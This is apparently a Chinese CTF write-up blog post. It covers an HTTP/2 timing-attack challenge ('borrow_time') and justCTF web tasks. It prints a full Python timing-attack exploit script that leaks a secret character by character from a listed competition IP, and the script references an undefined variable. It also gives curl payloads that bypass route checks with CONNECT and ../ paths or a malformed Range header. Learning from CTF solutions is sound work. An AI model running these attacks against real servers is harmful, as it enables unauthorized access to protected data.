zoukankan      html  css  js  c++  java
  • 新春杯+justCTF

    首先是新春杯题目就离谱,很顶很顶,质量很高,然后这个比赛出不了东西之后又去打justctf了,感觉justCTF更友善一些(逃),膜了几位师傅,放两个大师傅传送门。

    清华脑哥

    ha1c9on

    然后本来想几场比赛分开写,但是新春杯我真的搞不懂。。。。

    borrow_time

    前置知识

    curl http2

    关于curl接受http2命令的解释

    所以我们使用命令可以抓取http2包

    curl --http2-prior-knowledge

    信息收集

    先正常测试,端口,旁站,域名,抓包,wireshark等等,反正常见的信息收集都试了不行

    curl http://8.140.110.118/ --output test

    winhex打开看看

    google发现确实有相关内容

    看了一下这是http2的包

    curl --http2-prior-knowledge http://8.140.110.118/

    成功获取到内容,发现还有注释中还有/src目录,继续读,flask

    代码审计

    #!/usr/bin/env python
    
    import os
    import time
    import hashlib
    
    from flask import Flask, render_template, request
    
    app = Flask(__name__)
    
    FLAG = os.environ["ICQ_FLAG"]
    SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]
    
    SLEEP_TIME = 10 ** -10
    
    @app.route("/", methods=['POST', 'GET'])
    def login():
        if request.method == 'GET':
            return render_template('login.html')
        else:
            secret = request.form['secret']
            if len(secret) != len(SECRET):
                return "^_^"
            for a, b in zip(secret, SECRET):
                if a == "*":
                    continue
                elif a != b:
                    return "INCORRECT"
                else:
                    time.sleep(SLEEP_TIME)
            if "*" in secret:
                return "INCORRECT"
            return FLAG
    
    @app.route("/src")
    def src():
        with open(__file__) as f:
            return f.read()                                                                           
    

    代码量还是很少的,不难理解,就是要不以GET形式发送secret,并保证secret字段长度相等,并有*。其实搜一下就可以发现几乎是WCTF2020 Spaceless Spacing原题

    搜索exp

    编写exp

    import os
    import asyncio
    import time
    import string
    import logging
    
    from hyper import HTTP20Connection
    from h2time import H2Time, H2Request
    
    # Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
    TIMING_ITERATIONS = 2  # 3
    NUM_REQUEST_PAIRS = 10  # 20
    SECRET_CHARSET = '1234567890abcdef'
    COMPARISON_CHAR = "*"  # This must not be in SECRET_CHARSET
    
    target = '8.140.110.118:80'
    
    logging.basicConfig(level=logging.INFO)
    logger = logging.getLogger("exploit")
    ua = 'h2time/0.1'
    
    
    def get(resource):
        logging.disable(logging.INFO)
        try:
            connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
            connection.request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + resource)),
                                                'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + resource)
            return connection.get_response().read()
        finally:
            logging.disable(logging.DEBUG)
    
    
    async def time_difference(a, b):
        request_a = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + a)),
                                               'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + a)
        request_b = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + b)),
                                               'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + b)
        a_quicker_count = 0
        b_quicker_count = 0
        for _ in range(TIMING_ITERATIONS):
            async with H2Time(
                    request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
            ) as h2t:
                results = await h2t.run_attack()
                b_quicker_count += len([result for result in results if result[0] < 0])
                a_quicker_count += len([result for result in results if result[0] >= 0])
            async with H2Time(
                    request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
            ) as h2t:
                results = await h2t.run_attack()
                a_quicker_count += len([result for result in results if result[0] < 0])
                b_quicker_count += len([result for result in results if result[0] >= 0])
        return a_quicker_count, b_quicker_count
    
    
    async def exploit():
        secret_length = 10
    
        logger.info("")
        logger.info(f"Secret Length: {secret_length}")
        logger.info("")
    
        secret = ""
    
        for _ in range(secret_length):
            start = time.time()
    
            def spaced_secret_guess(guess):
                return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)
    
            tasks = {
                char: asyncio.create_task(
                    time_difference(
                        spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                    )
                )
                for char in SECRET_CHARSET
            }
            await asyncio.gather(*tasks.values())
    
            lowest_char_quicker = None
            lowest_char_quicker_count = float("inf")
            for char, task in tasks.items():
                comparison_quicker_count, char_quicker_count = task.result()
    
                if char_quicker_count < lowest_char_quicker_count:
                    lowest_char_quicker = char
                    lowest_char_quicker_count = char_quicker_count
    
                logger.info(
                    f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
                )
    
            secret += lowest_char_quicker
    
            end = time.time()
    
            logger.info("")
            logger.info(f"Secret Progress: {secret}")
            logger.info(f"Secret Progress took: {end - start}s")
            logger.info("")
    
        # correct = get(f"{secret}")
    
        logger.info("")
        logger.info(f"Secret: {secret}")
        logger.info(f"Correct: {correct}")
        logger.info("")
    
    
    loop = asyncio.get_event_loop()
    loop.run_until_complete(exploit())
    loop.close()
    

    脚本就是打不通,不知道为什么,吐了。问了L1near大师傅,可能是我本地的问题。然后因为有time.time_ns(),是python3.7以上才有的新特性,我vps和kali也打不了,只能这样了。。。

    下面的题都是justctf里的,这比赛我好爱,全是技巧,满满的干货

    Forgotten name

    意思是要找到他的secret domain

    首先我们看其他web题,url都为 .web.jctf.pro

    所以我们找到一个Certificate Search网站

    crt.sh

    可以发现以6a开头的名称,hex解码,得到flag

    Computeration

    这道也挺离谱,一开始以为下面的链接真的就是向管理员报告,我说国外的比赛都这么人性化了,然后上面的url就是个前端,看了好久也没思路,结果。。。。

    上图分别是两个url的界面,我们可以看到上面的url就是一个写note的界面,客户端做的。没什么东西,后面的url会发送我们传入的内容给admin,那么我们还是和之前博客的思路一样,在https://beeceptor.com/创建一个子域,检查传过来的http流量

    (这里有个坑点,我用firefox+burp无论如何都会显示Captcha Error: invalid-input-response,换了chrome之后就好了)

    看看Request Body

    发现referer处会传来验证的url,我们curl一下,发现直接出现flag

    主办方后面说了这是非预期解,因为在写Referrer-policy时手误,输入no-referer而不是no-referrer,导致输入unsafe-url

    Go-fs

    前置知识

    curl --path-as-is选项

    详情见此文章

    大致意思就是

    curl --path-as-is会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段

    CONNECT请求

    观察文档发现,对于CONNECT请求,path和host都不会改变其内容

    代码审计

    虽然我不懂go语言,但是语言不都是相通的嘛,稍微看看也可以

    	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    		w.Header().Set("Served-by", VERSION)
    		w = &wrapperW{w}
    		fileServ.ServeHTTP(w, r)
    	})
    
    	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
    		w.Header().Set("Served-by", VERSION)
    		w.Write([]byte(`No flag for you!`))
    	})
    

    看到这里构造两个路由,访问flag会被阻止,所以我们思考通过怎么的方式可以绕过

    payload

    根据上述两个前置知识,搭配使用

    payload:

    curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag
    

    关于另一种,也就是预期解,我复现一直失败,但是这种方法也可以记录一下

    具体分析见此文章

    payload:

    curl -v -H 'Range: bytes=--2' url
    
  • 相关阅读:
    python lambda函数的用法
    python 中is 和 ==的区别
    Mongo 聚合函数 $group方法的使用
    mongo聚合
    当mongo数据库报错关于 Failed global initialization:
    python 中字符串的拼接
    python eval()用法报错 SyntaxError: unexpected EOF while parsing
    高性能MySQL(六):选择合适的存储引擎
    高性能MySQL(五):存储引擎
    高性能MySQL(四):多版本并发控制
  • 原文地址:https://www.cnblogs.com/karsa/p/14361324.html
Copyright © 2011-2022 走看看